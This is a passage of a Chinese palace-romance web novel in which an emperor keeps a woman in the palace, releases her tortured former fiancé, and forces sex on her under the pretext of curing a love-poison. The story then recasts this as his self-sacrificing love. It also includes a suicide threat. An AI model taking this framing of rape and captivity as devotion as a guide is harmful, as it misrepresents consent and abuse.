突然见姑娘如此懂礼数,且毕恭毕敬,裴争起初微微一愣,而后心情大好,吻了吻她的手心,开口道:“卿卿,朕来履行承诺。” 她当即懂了他的话,他是要带她去见宋淮之! 沈念极力压住心头的悸动,随后理了理衣裙,临出门时,裴争却抬手,取下了她发间唯一的发簪和耳坠,轻笑一声,“去见他,不准戴头饰。” “好,” 沈念顺从地应声,没拒绝,她本也无心妆扮,怕触怒男人,不过是简单收拾了一番。她懂对方的占有欲,也懂他绝不会允许她同宋淮之有任何交流。 最后,裴争盯了她良久,他攥紧她的手,走出殿外。 到了城门时,果然同她猜测的没错,裴争不准她近距离接触,而是在城墙上,远远眺望。 “你会放了他,对么?”沈念望着墙外,声音飘忽,她对他太了解,他的承诺,根本毫无信用可言x,就像他说会学着去爱她,可他仍然不知道怎么去爱,到头来仍折磨她,不懂尊重。 裴争带着火,扳过她脸,压制怒意,“朕答应过你,自会做到,以后也都会做的。” “卿卿为何不愿意信朕?” 沈念觉得很好笑,他居然在问,为何不愿意信她?难道不明显么?是因为他对她的伤害太深了啊。 “裴争,莫要再骗我。” 纠缠这么久,她也累了,累到不想像往日那般伤敌一千,自损八百。 这时,城门打开,一个身影蹒跚而出,沈念的目光迅速落在他身上,郎君虽换上了一身干净的布衣,但他身形消瘦,每一步都走得极为艰难,走路时脚下渗出淡淡血痕,显然是受过重刑。 可想而知,他忍受了多大的痛苦, 尽管裴争在极力掩饰,可她一眼就能瞧出来。 沈念双眸骤缩,不敢相信自己看到了什么,地上是血,是血啊。 她猛地回过头,瞪向裴争,声音发颤,“你对他用刑了?” 他怎能如此卑鄙,如此无耻…… 她的郎君竟被折磨成这个样子。 裴争的手臂松开她的腰肢,目光从她身上移开,再度开口:“卿卿,君无戏言,朕已如你所愿,放过他,还要怎样?” “朕已经对你做出让步,他带你跑了三年,朕没杀了他,已是对他开恩。” “混蛋……”泪水瞬间模糊了视线,只有彻骨的寒,沈念看着裴争,觉得自己肯定是上辈子做错了什么事,才能让她这辈子能招惹到裴争这样一个魔鬼。 朦胧之际,城楼下车舆前的郎君似有所感应,刚好回头望过来,两个人对上视线。 一瞬间,她的泪水再也忍不住流了下来,她想擦去眼泪都是徒劳,越擦越多,她又看清郎君的口型,沈念可以猜出,他说:我很好,卿卿保重。 而正这时,裴争大步上前挡住她的视线,声音冷漠,“卿卿看够了?同朕回去。” 沈念没有再争辩,抬眸对上男人的视线,见他眸中满是恼怒和几丝看不透的情绪,她乖乖点了点头。 任着男人牵她回了寝殿,一路上沈念没说一句话,无论裴争说什么,她只点头或者摇头,仿若失去了说话的能力,彻底成了一个提线木偶。 裴争也自然知晓她什么意思,不过是在表达不满,他想着天长地久,他对她极好自然也会忘却。 当夜,他依旧留宿,沈念背对着他躺下,仍然没同他说一句话,也未曾看他一眼,只当他是透明人,时不时投来打量的目光,她当做没看见,不在乎,也懒得去理。 其实他们之间若是相安无事,相处下来也能同陌生人一样安稳无恙。 那男人也随着她,不再囚禁,平日里会赏赐各种珠宝送来,她会恭敬回应,晚上来时,不碰她便是最大的愿望。 然而裴争却觉得,她就像是一个死物,对他再无情绪,会恭敬地唤他陛下,甚至还会自称臣妾。 她虽留在他身边,但仿若只剩下一具空壳。那个会恨、会怒、会与他激烈抗争的沈念,似乎已经随着宋淮之的离开,彻底消失。 他不爽,可又无可奈何。 比起她的恨意,眼下这般更让他感到失控和恐慌。 * 半月后,御书房。 裴争批阅奏折时,殿内烛火通明,映得他轮廓分明的侧脸更加深邃,更带着几分躁意。 想起今日是月圆之夜,他揉了揉眉心:“传王太医。” 这些时日,他累极,可明明沈念是顺着他的,不再那般反抗,无时无刻不想逃,可正是因为这样,他反倒觉得不对。 沈念不该是这个样子的,她应该似往日那般,不屈,不甘…… 到底哪里出了差错? 几息后,王太医快步来到御书房,遥遥拜见,“微臣见过陛下。” 裴争的目光落在案上,语气平淡却带着无形的压迫,“王太医,朕问你,蛊毒除了引动情欲,有无可能侵蚀人的心智?尤其是改变性情?” 他实在想不到到底是因为什么,沈念会变成如今的样子。 王太医当即一身冷汗,“这……陛下,据臣所知,那蛊毒并不会如此,亦或者是微臣才疏学浅,未能窥视全貌,此疑惑臣未能给陛下解惑。” 裴争终于抬眸,再道:“那人会在什么情况下,性格大变?” 帝王不依不饶问,王太医额际现汗,生怕自己说不对,脑袋与脖子分家。 于是,他斟酌用词,小心翼翼回道:“依臣经验来看,人一般性格大变,多半是因为受到了什么重大刺激。” “刺激?” 裴争漆黑的眸子微微眯起,一言没发,他终于知道沈念为何性格大变,原来是因为宋淮之的离开。 那个草包的离开,居然会这般刺激到她。 “陛下?”王太医擦了下汗,壮着胆子轻轻唤了一声,“今日是月圆之夜,陛下要给娘娘解蛊,但此蛊凶险,臣近来已备好药,准备齐全。” 裴争淡淡吩咐:“嗯,朕知道了,你今夜就留在宫中,随时待命。” “是,臣遵旨。” 王太医退下后,御书房归于平静,帝王望着窗外逐渐升起的明月,眸子半眯。 第74章 今夜月色皎洁,沈念累极,斜靠在小榻上,身上盖着一条锦被。她打了个哈欠,鸦睫轻轻忽闪着,肩上的锦被随动作而滑落至半腰,露出一段细腻的肌肤。 近半月来,她在这宫中还算自在,除了不能出宫以外,裴争不再逼迫她做什么,也不再对她发疯,有时还能让昱儿来陪她。 想起昱儿,她心中莫名一暖,那孩子虽年纪小,却同裴争一样敏锐,能感知到她的不悦,甚至对她说,等他长大,保她一生无恙。沈念抱着他,眼眶酸涩,他竟能如此心细,也不枉她生下他,不像裴争那样疯癫。 这时,殿外响起宫女恭敬的行礼和推门声。 她知晓是裴争来了,但没动,目光依旧落在书卷上。直至那道人影笼罩下来,她才堪堪掀起眼皮,语气平淡如水,“臣妾见过陛下。” 说罢,她收回目光,落在书卷上,顺手把滑落的锦被提到肩上,遮住裸露的肌肤。 裴争看着她淡淡的动作,薄唇抿成一条直线,姑娘什么表情都没有,可以说,关于他的一切都没有,他心里有一股无名的恼火窜上来。 她的眼里,没有他。 为什么会如此呢? 他极为厌恶这种被彻底无视的感觉, 她明明不是这样的。 盯了片刻,裴争走上前,一把合上她手中的书卷,俯身将她圈在小榻和自己中间,“卿卿,书有朕好看么?” 沈念偏过头,手掌抵在他的胸口,声音轻而敷衍:“嗯,你比书好看。” 沈念声音淡淡的,很明显是敷衍的态度,但他愣是挑不出错,她自称臣妾,还唤他陛下,恣态放得极低,可正是她这股乖顺,将他彻底隔绝,到底为何什么感情都没有呢? 到底为什么? “沈念,”他渐渐逼近,两个人几乎鼻尖相贴,声音里带着恳求:“你能不能别这样对朕……” 沈念忽地转过头,两人对视,她声音放缓,话语很合规矩却异常冰冷,“臣妾如何对陛下了?请陛下明示。” 她这些时日不乖么? 她已在尽力将自己表现得很乖顺,不忤逆,不逃跑,甚至放低姿态。 还要她如何呢? “像以前那样对朕,对朕有点爱,可以恨朕,打朕、骂朕,卿卿,朕是你的男人,是你的依靠,不是一个无关紧要的物件!” 他攥着她的手腕,力道失控,沈念忍着疼痛,眼底终于被逼得泛起波澜,语声恨恨, “陛下你到底要臣妾怎么样?忤逆你时,你说臣妾该死,如今乖顺了,你又说臣妾对你不好。” “臣妾到底该怎么做?陛下才能满意?不找臣妾的麻烦?陛下?” 说着说着,她忽然觉得从心底窜出一股难以言喻的闷热,她捂住胸口,呼吸骤然急促起来,就像是有什么东西要冲出来。 这种感觉很怪,可她又说不出因为什么,只当是被裴争气的。 察觉到沈念的不对,裴争眸色一暗,不由分说地将她打横抱起。 于是,她身上那条锦被顺势落在地上,月光洒落其上,朦胧又恍惚。 突然被男人抱起,沈念极力反抗,惊呼出声:“你做什么?裴争?” 她看不透他眼底翻涌的情绪,那并不是单纯的情欲,似乎藏着什么东x西,她看不透,也懒得去参透,奋力捶打他的肩膀。 裴争任她打着,手臂更加收紧力道,声音低哑:“别动,卿卿。” 挣扎不过,她最终还是被男人抱回柔软的榻上,不过沈念以为他会就此停手,毕竟曾是他亲口说的,会尊重她,不会再强迫她做不愿意做的事。 然而,就在她刚想拿被褥盖在自己的身子时,那男人却早已解开腰封,赤身覆了上来。 贴上那炙热的肌肤,沈念宛若惊弓之鸟,竭力推开他,挣扎:“裴争,你要做什么?难道你要出尔反尔么?” “裴争!你清醒点!你说过不会碰我,不会强迫我啊,裴争!” 她唤着一声声的“裴争”,试图唤回他的理智。 裴争攥住她的手,眼底猩红,□□:“卿卿,莫要乱动,一会儿,一会儿就好了。” “不要,我不要……”沈念的泪水夺眶而出,“不要裴争……” 姑娘哭得惨,那声音如同破碎的玻璃,一刀一刀刻在裴争的心,他也不想这么做,可是他没办法。 他用指腹一点一点擦去她的泪水,擦不完,便用唇吻去,声音带着引诱的意味:“卿卿,只这一次,只一次,好不好?” 看着她痛苦,有那么一瞬间,他很想把真相告诉她,说出他是因为解蛊才碰她,这并非无端的侵占,可是话到嘴边,又被他硬生生咽了下去。 他不能说,绝对不能说,若是让她知道解蛊的代价有可能是他的命,这样以她的性子,可能宁愿自己毒发身亡,也绝不会让他碰她分毫。 他不能冒这个险, 他要救沈念,付出一切也要救。 最终沈念放弃挣扎,像是一朵枯萎的花朵,任那男人对自己放肆,就这样一点一点被欢愉所吞噬,而她只想哭,也只能哭,想把一切的委屈与绝望都化作泪水流尽。 窗边那枝腊梅因风而花瓣交叠,明明枯萎许久,今夜却似被雨水浇灌,滋润得丰满且动人,散发着诱人的香甜。 滴答滴答,水珠落下,浸润那块布料,变得皱巴巴的,水声依旧,却再也遮挡。 良久,黑夜之中的男人直起身子,额间的汗水顺着脸颊滴落在姑娘微微起伏的小月复,他低着头没什么情绪,声音低哑:“卿卿,是朕的错,你恨朕吧。” 沈念用最后的力气,扬手狠狠打向他的脸,清脆的巴掌响彻寝殿,紧接着是她充满恨意的话:“裴争,你滚。” 脸上泛着火辣辣的疼,裴争却反常地低笑一声,手指轻轻触碰自己的侧脸,同往日一样的力道,同样一样的声音,对,就该是这般,打他,骂他,咬他……就该是这样,只有这样的沈念才是活的。 她终于活了。 “好,卿卿,”他唇角微勾,“朕滚,朕马上滚。” 起身时还贴心给她掖好被角,深深看了她一眼,才离去。 沈念看着他没有恼怒,甚至带着几丝喜悦,她真的气不打一处来,死死揪着被襟,忍住心中的恼怒。 一巴掌打少了,她就该扑上去狠狠地咬,喝他的血,吃他的肉,卑鄙无耻不守信用的小人。 寝殿门合上后,她才将自己蜷缩起来,脸埋入锦被,眼下她身上仍残留着属于他的气息与那令人羞耻的黏腻触感,只剩下无尽的冰冷与痛苦。 *** 裴争出了寝殿,径直前去御书房,刚坐到龙椅上,他侧头吐了一口暗红的鲜血,染红了案前摊开的奏折。 “陛下!”一旁的长戈骇然失色,急忙上前扶住脱力的帝王,才没倒下去。 候命的王太医也是骇了一大跳,赶忙冲上前诊脉,他顿时脸色煞白,急声道:“不好,蛊毒反噬,龙体有损,快将陛下服去榻上歇息!快!” 闻言,长戈不敢耽误,背起裴争,小心翼翼放置在榻上。 王太医擦了擦头上的冷汗,施针,灌药……一番忙乱下来,直到帝王脉象平稳,众人才松口气。 …… 裴争恢复意识时,已是五日后,他刚睁开眼便掀开帐帘,喉咙干涩,说话时还有一股血腥味,“朕昏迷多久?她可来看过朕?” 长戈见帝王醒来,几乎喜极而泣,“陛下,终于醒了!您昏迷了整整五日啊!”但听到后半句,他面露难色,她是谁,两人心知肚明,“陛下娘娘这些时日只把自己关在寝殿内,同往日一般无二。” 裴争皱起眉头,冷声问:“她不知道朕病得起不来了?” 长戈跪在地上,硬着头皮道:“消息……应该是知晓的。” 帝王生病,全皇宫上下谁又能不知晓?就连路过的宫女都会问一句,也只有那位娘娘,丝毫不在乎。 “应该?”裴争嗤笑一声,眼底却翻涌着寒意:“现在,立刻,马上,让她过来。” 长戈连连应声:“是,属下遵旨。” 殿内归于安静后,裴争躺回榻上,特意装做无力的模样摊开手臂,额间放置着一条湿帕。 他不信沈念完全不在乎他的死活。 几息后推门声响起,他微微撩开眼皮望过去,见是长戈一人来,他冷下脸,有些不悦,起身扔下头上的湿帕,“怎就你一个人?她呢?” 长戈忐忑应声:“陛下属下去请了,可娘娘说……说陛下不痛快就去找太医。” “她又不是太医,与她无关……” “与她无关?朕躺了五日,她是一点不在乎。”片刻后,裴争掀被下床,尽管身体因虚弱而摇摇晃晃,语气却斩钉截铁,“她不来寻朕,朕就去找她。” 长戈跪在他身前劝住:“不可啊陛下!王太医说过,您眼下不宜过多行动,否则性命难保啊,陛下!” 裴争阖上双眸,捏着眉心,才缓解方才的晕眩感。 良久,他才开口:“王太医有没有说过,朕还能坚持多久?” 第75章 长戈跪在地上,额间渗出冷汗,支支吾吾道:“这……这陛下,王太医……” 裴争的脸色在烛火映照下更显惨白,他声音冷下去,“长戈,朕要听实话,” 长戈重重叩首,一咬牙,把一切全盘托出:“陛下,王太医再三叮嘱过,陛下是以身引蛊毒,那毒已侵蚀您的身子,乃是大凶脉象,若再为娘娘行一次解蛊之法,只怕……只怕两次之内,便会油尽灯枯,无力回天啊!陛下!” 此蛊凶险王太医早已禀明,可当时帝王二话不说,就做了引者,不顾生死,也要救那位娘娘。 “陛下,您身系江山社稷,定要保重身体!这段时日,切记莫要情绪激动。” “两次……” 裴争没理长戈的后半句话,盯着案前的烛火,又幽幽开口:“无论如何,朕都要救她。” 他要去见沈念,立刻,马上,仿若只有见到她,那股蚀心的疼痛才能消失。 说罢,他去了沈念的寝殿,得知她正在歇息,便没让殿外的宫女通报,直接走了进去。 殿内熏香袅袅,极为安静,透过层叠的纱帐,可以瞧见美人正安睡在榻上,睡得很沉,呼吸清浅均匀,鸦睫却不安地眨动着,还轻轻皱眉,忽然,她开始小声啜泣,梦呓起来: “不要……不要碰我。” “不要!” 裴争快步走近掀开帷帘,一把攥住她冰凉的手,而这时,沈念也骤然惊醒,看清来人是他,又被攥着,她心口翻涌,缩回手,迅速蜷缩在床角,未说一句话,就连眼神也未停留在他身上片刻。 她又变成一个死物,一个完全不在乎他的死物。 裴争脸沉得像冷玉,盯了她良久,才道出声:“卿卿,朕病了,病了很久,你为何就不肯来看朕一眼?” 随后,他抬手捂住胸口,眉头紧蹙,装作很疼的模样,声音很轻:“朕哪里都疼,卿卿……” 沈念依旧不看他,手指摩挲着被角,眼中毫无波澜,声音平静,恭谨,“陛下说笑了。太医院的太医们医术精湛,臣妾去,又能顶什么用?怕是只会添乱。” “你知道朕说的,不是这个意思。”裴争的声音沉下去,眼底竟涌出几丝委屈。 沈念当然知道男人方才的话是什么意思,无非是埋怨她知道他生病,为何不去看看他,她是听说帝王重病,还是因为那夜失控碰了她以后病倒的,谁让他不顾承诺,强迫她? 这x点报应,只能说他是活该,还期盼着她去看他? “臣妾愚钝,不懂陛下在说什么。” 她的声音很冷,没有一丝波澜,他们二人纠缠许久,他还从未见过这样的沈念。 他记忆中的沈念就是一只任人拿捏的小兔子,让他总忍不住想欺负,那时她因畏惧他的权势,丝毫不敢还手。 而他呢,也最喜欢看她举足无措的模样,咬着唇,脸颊绯红,而如今,兔子收起柔软,且不再怕他,也不理他,他却发现自己想被沈念这只兔子欺负,渴望得到她的一点回应,哪怕是恨。 “沈念,”他再次攥住她的手,目光微顿,“倘若朕死了呢?你……会如何?” 或许用不了多久,他真的会死, 到时,沈念会心疼他么? 提到“死”这个字,沈念才抬头,目光落在男人脸上,这时她才发觉他的憔悴并非伪装,不过五日,他整个人人瘦了一圈,脸色苍白如纸,唇上尽是干裂的痕迹。 就像大病一场。 对上他眸子的那一刻,他眼中是毫不掩饰的破碎,甚至还带有一点期待。 见他这般,沈念一点不想好好同他说话,只想用狠话扎他的心,报复。 旋即,她慌忙垂下眼睫,补充道:“陛下若真死了,臣妾……是不是就能如愿出宫了?” 他若是真的死了,她也解脱了。 “所以,你想让朕死么?”他逼近,转而捏着沈念肩膀逼她直视自己,“说!你是不是恨不得朕立刻去死?回答朕,卿卿!” “是……裴争,我想让你死……你为什么不去死?我真的不想同你周旋了,我真的累了。” “你早点死了,我才能过安稳日子!“ “裴争,完成这一切的都是你啊,若是没有你,我会同宋淮之成亲,恩爱一声,可都是因为你,我连家都没有了,你欺我,辱我,威胁我,强迫我……裴争,这一切都是因为你。” 沈念试图挣脱他,眼泪决堤而下,打湿身上的被襟,她为什么会哭?她不该哭的。 每次想起失忆的那段日子,她恨自己不争气,会忘记,深信不疑把裴争当成夫君,与他恩爱,留下那段不堪却深刻的记忆。 她想忘记,却忘不掉,就这样深深刻在脑海中。 裴争消失嗤笑一声,旋即他从腰间抽出一把短剑,塞进她手里,并握着她的手将刀尖对准他的心口,声音低哑:“想让朕死?何必等呢?朕给卿卿杀的机会,死在你的榻上,死在你的手里,朕求之不得。” 他在堵,堵沈念能不能狠下心杀了他。 如果不能,是否代表着她心里在乎他呢? 那冰冷的短剑握在手中,沈念挣脱开手,把剑扔出去,冷声:“你放开我!我不想杀你!” 她才不要杀裴争,脏了她的手, 不要!她不要! “为什么不要?为什么?”他俯身凑近她耳边,唇角缓动,话语里着诱哄,“卿卿,你舍不得杀朕,对不对?你心里是有朕的,是不是?嗯?” 沈念当即否认,斩钉截铁开口:“不,不是!我只是觉得杀你,会脏了自己的手!” “你的死活,又与我有何干系?” 是啊,她眼下已如此恨他。 估计他死了,她会更愉快,因为她就解脱了。 裴争只觉得心底支撑的一根线彻底崩塌了,他松开手,任那短剑落在锦被上,他只觉得哪里都疼,疼到彻骨寒凉,四肢麻木,最后他喉咙里涌出猩味,猛地吐出鲜血,视线模糊,整个人向后倒在榻上。 沈念吓傻了眼,那鲜血染透了锦被,男人就这样直直倒在那里。 他会死么? 吐了那么多血…… “裴争!” 反应过来后,她几乎是飞扑过去,握住他的手腕,脉象乱极,“快!来人!陛下晕倒了!” 殿外的长戈快步进入,见状他脸色煞白,迅速将帝王平放在榻上,“来人,快去传王太医!快!” 沈念心口翻涌,声音发颤问道:“长戈,他这是怎么了?” 方才她给男人诊过脉,根本就不是如同的生病。 长戈别开脸,咬着牙,“娘娘莫要多问,陛下不想让您知晓,属下亦不能说。” 不过片刻,王太医前来,朝着他们二人叹了口气,“不是说,要让陛下少激动!刚稳住的脉象,又乱了,再如此下去,他啊必死无疑。” “你们都先出去!” 就这样,沈念和长戈被赶出来,此时殿外只有他们二人。 沈念心中疑惑不解,她总觉得长戈有什么事在瞒着她,还是关于裴争和她的,只是到底是什么事?她猜不到,只能通过威胁眼前的长戈来得知真相。 她忍不住问道:“长戈,你告诉我,裴争他,到底怎么了?” 长戈摇头,固执道:“娘娘莫要再问了。” “你若是不说,我立刻咬舌自尽,到时他醒来,你看他醒来,是会怪你守口如瓶,还是怪我红颜薄命!” “反正,我早就不想活了……” 沈念已想好威胁的话术,她必须要知道真相。 长戈大惊失色,不得不说,沈此话确实威胁到他,眼下帝王昏迷不醒,若是这位娘娘再出了什么事,后果不堪设想。 不如将一切真相都说出口,还能让这位娘娘多顾着帝王。 思虑清楚后,长戈咬着牙,不顾一切脱口而出,“娘娘,陛下他都是为了给您解蛊才如此的啊!” 沈念眉头紧锁,再度开口问:“什么解蛊?” 她何时中蛊?为什么她不知道? 长戈继续道:“娘娘您当初被怀王掳走,中了情蛊啊!为了救你,需一人以精血为引,于月圆之夜行…行夫妻之礼,将您身体里的蛊毒过渡到引者身上! 陛下他……他毫不犹豫给您解了蛊!前些时日,他并非是欺您!王太医断言,再解蛊不出两次,他真的……真的会没命的!” 闻言,沈念脑中“轰”地一声响,心潮翻涌,甚至怀疑自己听错了,难怪当初怀王会说出那样的话,那时她还以为是他疯了,说了胡话,没想到是给她下了蛊。 裴争竟然是为了替她解蛊。 她的心狠狠一抽,思绪乱得无法理清,心头就像一团乱麻。 为什么?他到底为什么要这么做? 为什么就不能好好做一个坏人,让她恨得彻底。 眼下,又算什么? 他在用他的命向她赎罪么? 沈念紧紧捏着手指,眼中不知为何被泪水填满,模糊视线,她伸出手擦去眼尾的泪水,却发现擦不完,越流越多。 不知过了多久,寝殿的门“吱呀”一声被推开,王太医面色凝重地走了出来。 第76章 不知过了多久,寝殿的门“吱呀”一声被人推开,王太医面色凝重地走出来。 沈念愣在原地无动于衷,而身旁的长戈率先开口着急问:“如何王太医?陛下他如何了?” 其实他们二人心知肚明帝王身体已受如何,只不过仍心存侥幸,期盼着他能无事,好好活着。 王太医先是叹了口气,才缓缓道:“陛下脉象紊乱,龙体明显已被蛊毒侵蚀,若下次再为娘娘解蛊,只怕是性命难保啊。” 话音未落,角落里的沈念忽然酿跄半步,旋即快步上前拉住王太医的衣袖,着急问:“王太医,你告诉我,怎么会这样?这蛊到底怎么解?我身上的蛊,能解么?怎么解?” 她微微仰起的脸庞泛着点点湿意,试图从王太医的口中说出裴争无事的话。 王太医惶恐扯回衣袖,跪伏于地上,“娘娘……恕罪,臣愚钝,至今尚未探明这蛊到底如何解。” 尚未探明—— “不!”沈念柔弱的身躯止不住颤抖,神色有一瞬间茫然,“不……不会的,他怎么会死?” 说完话后,她一瞬间仿佛被抽去了所有力气,双手颓然垂下,喉咙像是被什么东西扼住一般,眼前阵阵发黑。 “不会的,不可能,你们都在骗我。” 长戈给王太医使了眼色,看着愣在原地的沈念,长吸口气,“娘娘,您进殿去瞧瞧陛下吧,记得上次陛下给您解蛊后,昏迷许久醒来,恢复意识后,第一句话问的便是您如何。” “陛下他在乎您啊,此事做不得假,虽然之前他对您做过许许多多的错事,可人非圣贤,孰能无过,您不能一次机会都不给他,就在心中定了他的死罪吧。” “我……” 沈念没有动x,心里问了自己无数遍:她该进去么?她想看他么?这般犹豫着,脚下却不听使唤,不知不觉间已行至门槛。 手臂却似灌了铅一样,沉得怎么也抬不起来,无论如何劝说自己,都始终无法推开那道殿门。 长戈将她犹豫的动作看在眼中,音里带着压抑的怨气,“娘娘,陛下他愿意为你付出性命啊,如今您就只是进去看他一眼而已,也不行么?” 他们到底是如何变成这般互相伤害模样的?长戈将一切看在眼中,却不明白为什么会变成这样。 沈念知晓长戈对她心有怨气,他是裴争的心腹,即便曾目睹她受过多少折磨,如今见裴争因她病重至此,她却仍这般犹豫,难免心生怨怼。 她能理解,也不会去怪他出言不逊。 最后,她终于抬起手,用力推开殿门。 整个寝殿被苦药味充斥,已盖过男人身上那股惯有的檀香。绕过屏风后,她看见裴争躺在榻上,面色惨淡如霜,一身素白寝衣更显得人清瘦虚弱。 他就这样安静地睡着,沈念想,也许只有他睡着安静的时候,才没那么可恨。 这时,榻上的裴争嗅到一股似有若无的梅香,眼睫微颤,猛地惊醒,脱口唤道:“卿卿!” 殿内极为安静,男人突然出声,沈念亦是骇了一跳,后退时不小心碰倒案边的茶盏,清脆的碎裂声在寂静中格外刺耳。 裴争的目光落在她脸上,默了几息,声音淡淡:“你来看朕?回去吧,朕不想让你看见这副模样。” “此前没来看朕,眼下也不需要你来。” “裴争,”沈念心口堵得发闷,“你今日不还说,让我来瞧你么?我来了,你又赶我走?” 她真是越来越觉得男人喜怒无常,上一刻还在埋怨她,为何不在他生病时去瞧他,眼下来了,又拒人于千里。 裴争没说话,笑了一声,他其实是在笑自己,起初他的确盼着她来,哪怕只看一眼也好;可等她真站在面前,他又不愿意让她看到他这副鬼样子。 他可以丢脸,但是不能在沈念面前丢脸。 沈念心口酸胀,上前一步坐在他身侧的榻上,低着头眼泪控制不住流下来,“裴争,我都知道了,我中了蛊,你给我解蛊,我都知道了,全都知道……裴争,你为何还是这么混蛋,你为何就不能一直做一个坏人?让我一直恨你,你为什么要救我?为什么……” “你……都知道了?”裴争闭上眼睛,不再看向她,沉默片刻才道:“因为朕爱你,卿卿,为了你,朕可以付出一切。” 沈念越说哭得越凶,几乎语不成调,“裴争,你真自私,我何时允许你用命救我了?我不愿意,我凭什么要让你这个混蛋来救,你凭什么可以救我?凭你欺我,辱我么?裴争,我恨你,我真的恨死你了。” “你有没有想过,为何我会变成如今的模样?我的一切痛苦,苦难,都是因为你啊……裴争,都是因为你,如果没有你,我还是沈府姑娘,会是宋淮之的妻子,可是都是因为你,我的一切都没了。” 她的心很疼,哭得相当悲恸, “你如今要用命救我,是在赎罪么?我告诉你,我不接受,裴争。” 她自诩为人和善,从未滥杀无辜,就算嫡母欺凌多年,也未曾生过恶心,到底做错了什么事会遇到裴争? 听着姑娘带着哭腔的话,一句一句说着,仿佛要将这些年积压的痛楚全部倾倒出来。 而她的话就像是带着尖锐的钩子,一个字一个字往他心里钻,裴争用力捂住胸口,苦笑着道出声,“莫要哭了,卿卿,朕知道错了,你有没有爱过朕,哪怕一点。” 沈念用力擦去眼泪,声音却仍发着抖:“没有。我从来没有爱过你,裴争。” 眼前这个男人可恶至极,哪里值得她去爱?被折磨这么久,她甚至也开始怀疑,到底什么是爱?她不会了,她不会去爱人……趁她失忆时,他耍花样哄骗,轻易就在她心里刻下痕迹。 她想忘,却忘不掉。 为什么? 她想不通为什么,最后只归结于,这男人实在太让人恨。 恨得人牙痒痒。 裴争再度笑出声,他看得懂她眼底的挣扎,也看懂她眼底那份动容,“没关系卿卿,朕爱你就好了,等到月余后,朕为你解蛊而死,到时你离开吧,去寻宋淮之,去做你的游医,无人会拘你……拦你,也无人欺你,辱你。” “闭嘴,你闭嘴。”沈念攥紧被褥,声音冷厉,“我绝不会让你替我死,绝对不会。” “你不配,你根本不配啊。” “朕若不替你解蛊,死的就是你,沈念。”裴争不容置喙地打断她的话,他断不会眼睁睁看着沈念去死,“你是朕的女人,是朕孩子的娘亲,朕绝不准你去死。” “你要活着,卿卿,必须活着。” “我不是!”沈念抬眼看着他,眼泪簌簌而下,倔强却隐忍,“裴争,我不是你的女人,不是你孩子的母亲,我只是沈念,我的生死应由我自己来决定,任何人都不配插手。” 裴争凝视着她,姑娘咬着几乎无一丝血色的唇,如雪似玉的脸上泪痕斑驳,宛如一朵幽幽绽放的白昙,眸中却满是倔强。 他忽然意识到沈念真的变了,她不再是那个怯生生望着他、不敢反抗、任他拿捏的沈念了,而是眼下这般倔强,坚韧,不屈服。 他没再争辩下去。他知道在这一局里,自己早已没有胜算,不知从何时开始,自己竟任她拿捏。 冷静下来后,沈念收起浑身尖刺,默默扶裴争起身喝水。 裴争没再强求她留下,语气仍高高在上,“卿卿,你若是想离开,不必强迫自己,何必呢?嗯?” “朕不需要你的怜悯,沈念。” 任何人都可以怜悯他,唯独沈念不可以。 沈念没理他的话,毕竟他是为了给她解蛊变成这般模样,她想走啊,可是怎么就离不开?她不知道,也不想探究。 “你闭嘴,裴争,我就是要看着你狼狈不堪的模样,我心中欢喜。” 裴争轻笑出声,依旧是那副漫不经心的语气,“卿卿喜欢看,那便看吧,想看哪里看哪里,朕求之不得。” 听着他不正经的话,沈念故意用力推他的腰肢,“再说话,我就咬死你。” 可恶,都虚弱成这样,还要在言语上占便宜。 裴争吃痛“嘶”了一声后,只笑不语,甚至觉得这种感觉很愉快,沈念还是在乎他的,哪怕只有一点,也是在乎的。 之后几日,他们二人都默契地很少提起解蛊和生死之事。沈念暗下决心,绝不会让裴争再为她解蛊,就算她去死,也不可能让那男人替她死。 而裴争亦在心底盘算,待到蛊发之时,她意识模糊,到时解不解,只能由他说了算。她再拒绝,又有什么用? 两个心怀鬼胎的人,竟也能在一起相安无事过了五日。 直到第六日,裴争派往南疆的暗探传回消息:南疆深山隐居着一位巫医,擅长解蛊,或许有一线生机。 裴争与沈念商议后,决定后日便动身前往南疆。明面上以御驾亲征、清剿怀王余党为名,实则只为寻那解蛊之法。 第77章 此去南疆路途遥远,少则三月多则半年,裴争将朝政大权交给心腹大臣,并暗中立了一道沈念不知道的旨意。 倘若他此行回不来,便拥立裴昱为新帝,并放沈念离去,赐黄金万两,还她自由,任何人不得阻拦。 临行前,沈念备足行李与干粮,还去东宫看了一眼昱儿,把自己亲手缝制的各式各样的衣物交到他手中,昱儿很懂事,这次分别没再哭闹,他明明才四岁,却懂事到让人心疼。 待出东宫时,他跑出来从身后抱住她,说了一句:“娘亲,昱儿等你回来。” 孩子的一句话,彻底让沈念绷不住,转身忍住泪水,亲了亲昱儿的脸颊,最后忍着心痛决绝离去。 她不知自己能否平安归来,更不知能否成功解蛊。若侥幸成功,她同裴争皆可活命;若不能,她亦不会让裴争替她赴死。 他的罪孽,岂是一条命就能偿还?若他这次真为她而死,所恨之人,却成了救命恩人,她又有何颜面独活。 …… 车舆缓缓驶出皇宫,车内,她同裴争相对而坐,一时无话。 因许久未出皇城,沈念对各处都好奇,忍不住掀开车帘各处x瞧着,窗外天地渐阔,连空气都是自由的,清新的,且带着宫外特有气息,拂过脸颊时,竟吹散她心头几分阴霾。 裴争悄悄撩起眼看向她,姑娘正探身四处张望,手指攥着帘子,活像一只出了笼的雀儿,眸中清亮,日影融融落在她身上,整个人都在发光。 他已好久没见过这般鲜活的沈念。 或许,她本该就是自由的,不属于皇宫,而是宫外自由的天地,她也该有疼爱她的夫君,比如那个草包宋淮之,平安喜乐一生。 可是他舍不得放过她, 想同她纠缠一辈子,不死不休。 他承认自己的自私,却又无法抑制心中的贪念,想得到她全部的爱。到底如何做才能得到她的原谅?他不知道,或许唯有以命相抵, 在沈念面前,他从来不是什么帝王,而是,一败涂地的裴争。 情之一字,始于何时,谁也不知道,他也说不清自己是如何爱上沈念的,且一往而深,再也离不开。 这时沈念察觉到身后有一道灼热的目光,回过头之际,正对上男人的目光。 只见他脸色惨白,深沉的眸子里却蕴着潮涌,像是要把她绕进眼底深处。 她垂下眼睫,低声问:“你看什么?” 她一向不喜被人这样盯着,尤其这人还是裴争。 裴争低笑一声后,忽地捂住胸口,声音沙哑:“卿卿,朕这里好疼。” 他们二人隔着小案,她想着男人是因为她才变成这副鬼样子,沈念终究心软下来,起身上前扶起他,“哪里?要叫御医么?” 她恨他,亦曾盼他死。可若他真因救她而死,她真的能开心起来么? 这般想着,她又开始恨自己心软,软到没办法看着裴争去死。 